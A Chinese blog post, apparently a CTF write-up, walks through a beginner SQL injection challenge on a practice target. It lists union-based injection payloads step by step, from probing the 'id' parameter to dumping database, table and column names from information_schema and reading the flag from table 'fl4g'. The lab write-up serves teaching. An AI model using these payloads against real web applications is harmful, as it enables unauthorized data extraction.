[第一章 web入门]SQL注入-1

最新推荐文章于 2025-02-10 21:17:24 发布

原创最新推荐文章于 2025-02-10 21:17:24 发布 · 1.2k 阅读

本内容遵循CC 4.0 BY-SA版权协议

标签

#经验分享

本文通过详细描述如何通过SQL注入技巧探测和利用一个应用的漏洞，展示了从识别注入点到获取敏感数据（如数据库名和表名）的过程，最终揭示了flag。

打开靶机

看见url里id=0

直接给他改成=1

那说明存在注入点

尝试id=2

尝试=3

按照提示来add

所以字段数为3，在3处可以显位

用联合查询

?id=-1' union select 1,database(),3 --+

得到数据库名为notes

再查表名

?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

预判在fl4g表里，打开该表

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'--+

然后爆数据得到flag

?id=-4' union select 1,database(), group_concat(fllllag) from fl4g --+

over.